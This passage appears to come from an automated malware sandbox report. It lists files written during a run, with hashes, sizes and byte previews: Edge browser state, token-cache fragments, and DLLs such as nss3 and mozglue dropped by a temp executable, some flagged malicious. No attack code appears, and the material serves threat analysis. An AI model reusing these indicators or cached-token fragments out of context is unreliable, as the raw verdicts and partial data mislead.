SHA-256:	70848325EC06B47E12C85B37284071AF2AD221661642AB0D480823ADDA8EAA23
SHA-512:	081763006CC083CC74ED3F03DA8C85088971D6B49B53D65D4B00F959D1B56E1A7492F1840B4FF41B3883B6BD3925960F7BAA5527267B9AA6D02785459C849FA3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5995140013377231
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3isaVzqh9dnFud9U9ez/qr:TLiOUOq0afDdWec9sJsh7oZ7J5fc
MD5:	C5B7AF1819D2635BB9E9279CD1345ACE
SHA1:	732938C3DBE0B6769CAE33F9425B9576ADC549C8
SHA-256:	BACE407557659F8692DF73044720A0099F8F3D21CD77639ED0C00ADE786E0443
SHA-512:	2B084EB09B0E919212EA1D7B856BC08F3040E342B185A34E2DE3F52698E482993A90101EFB291C043388A12B3D237AE2307BF8ED44419F4C71F78E960399CEF6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	50
Entropy (8bit):	3.9904355005135823
Encrypted:	false
SSDEEP:	3:0xXF/XctY5GUf+:0RFeUf+
MD5:	E144AFBFB9EE10479AE2A9437D3FC9CA
SHA1:	5AAAC173107C688C06944D746394C21535B0514B
SHA-256:	EB28E8ED7C014F211BD81308853F407DF86AEBB5F80F8E4640C608CD772544C2
SHA-512:	837D15B3477C95D2D71391D677463A497D8D9FFBD7EB42E412DA262C9B5C82F22CE4338A0BEAA22C81A06ECA2DF7A9A98B7D61ECACE5F087912FD9BA7914AF3F
Malicious:	false
Preview:	topTraffic_170540185939602997400506234197983529371

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a0bf9d74-f94d-441a-9386-0489c2476eb0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	57627
Entropy (8bit):	6.103905519163494
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yncPGWv/sxtw+j7VLyMV/YoskFoz:z/0+zI7ynYv/4KoVeZoskG
MD5:	DA7D40F6BB7E16B22DF930BAA6617BE5
SHA1:	FA31B7775D4EE2ADF62AEBC5763071D317A26D13
SHA-256:	38C60A6A27CBDBD501F684AACD5A020635EE34FEF1D5EA7731BF2BCB46533C62
SHA-512:	528FF2E8FE2BE37BF7E2C4E3115C4FA1B4CDF35163D27167A7FC0E7CC8449553A44B7E7032B9C85587F0F621102723414B9AEDBA3E2FCF60AB57CC0D722E03D9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e56c1fc4-d8eb-4a23-8c8a-d2c65d4d7362.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	57686
Entropy (8bit):	6.104095851525743
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yOhPGWv/sxtwaj7VLyMV/YoskFoz:z/0+zI7yOZv/4KsVeZoskG
MD5:	99408644D20FB148E3CFBD283E46DEED
SHA1:	0F199F545ED74932C5B03C592C794E8DEEA65902
SHA-256:	DDEFE41F955135AAB936D4CCF82D859484CE06CB5EAE55ECEE9A8A1292778A38
SHA-512:	E1C4B0476A49072F4791448F15A3C5517EFB36959E40CC42DF8EBD817A5DDD35F141654A128C41BB578027DA2D5B3C04C018A1FB9D66A12C1CB712453A4D1C71
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f564d0f4-7938-474f-935c-5a96c7386947.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103048378163139
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yniPGWv/sxtwz7VLyMV/YoskFoz:z/0+zI7ynWv/4KfVeZoskG
MD5:	0A2CD1FBDA90EDE6F8C60E3514133C91
SHA1:	18617A90C903FD754438C6A6347E0A10F337A552
SHA-256:	70848325EC06B47E12C85B37284071AF2AD221661642AB0D480823ADDA8EAA23
SHA-512:	081763006CC083CC74ED3F03DA8C85088971D6B49B53D65D4B00F959D1B56E1A7492F1840B4FF41B3883B6BD3925960F7BAA5527267B9AA6D02785459C849FA3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f6d50314-8d3a-4b72-90c6-24a03412ae12.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	57627
Entropy (8bit):	6.103905519163494
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yncPGWv/sxtw+j7VLyMV/YoskFoz:z/0+zI7ynYv/4KoVeZoskG
MD5:	DA7D40F6BB7E16B22DF930BAA6617BE5
SHA1:	FA31B7775D4EE2ADF62AEBC5763071D317A26D13
SHA-256:	38C60A6A27CBDBD501F684AACD5A020635EE34FEF1D5EA7731BF2BCB46533C62
SHA-512:	528FF2E8FE2BE37BF7E2C4E3115C4FA1B4CDF35163D27167A7FC0E7CC8449553A44B7E7032B9C85587F0F621102723414B9AEDBA3E2FCF60AB57CC0D722E03D9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8385351867774706
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxLxl9Il8uwix8R8ROhxBQJxauKY5yWUoD0d1rc:mKY5x8RXadJrU8z
MD5:	6235FF700D1F0B9EDA3E7AEAAE47D4CE
SHA1:	9EE6F98AD21ABF350E7793D880EB17A3A68F35B1
SHA-256:	C0B1E75F84AF6888EA3E5220B9020E7AA4AD4A0CA2EC7C3896E2DFC3C8853FAF
SHA-512:	A420398C95EFEDB54FF8D1123B6FD7251E8A05C21B94CA59EC23456D815A59EB9DD840A5F7A1A486D63BEEE6549539FB14438D6BA9F95CA4C74AFBB077486A89
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.D.Q.A.D.T.z.f.2.g.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.1.b.B.+.J.f.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.00184549480221
Encrypted:	false
SSDEEP:	96:gY5WxpkXVNDHxcImpMAo5rZclOyUOE7mVB1Ms+OBa4SB:gFpC5RK+AckOybVDzu
MD5:	EA4FDF89ED5F14EB28C58978EEA976E3
SHA1:	FF18B73D53B9F225758DBE8A568D038B8032B2B5
SHA-256:	5207DDA792C363F2D3E827AC1F333E2274FD75011BB433F19B18DDDB0C61C9B7
SHA-512:	5814316F5BAE0F46C626742210379AE5F8D6BCB8FE60D529EE1936EF6CC5D2208E058D63B0B6074E5A7D74823B8B1DE6B754E3B9D218000ECA2479C7A68B5697
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".4.W.d.3.8.j.P.f.2.g.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.1.b.B.+.J.f.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\freebl3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\mozglue[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\msvcp140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\nss3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
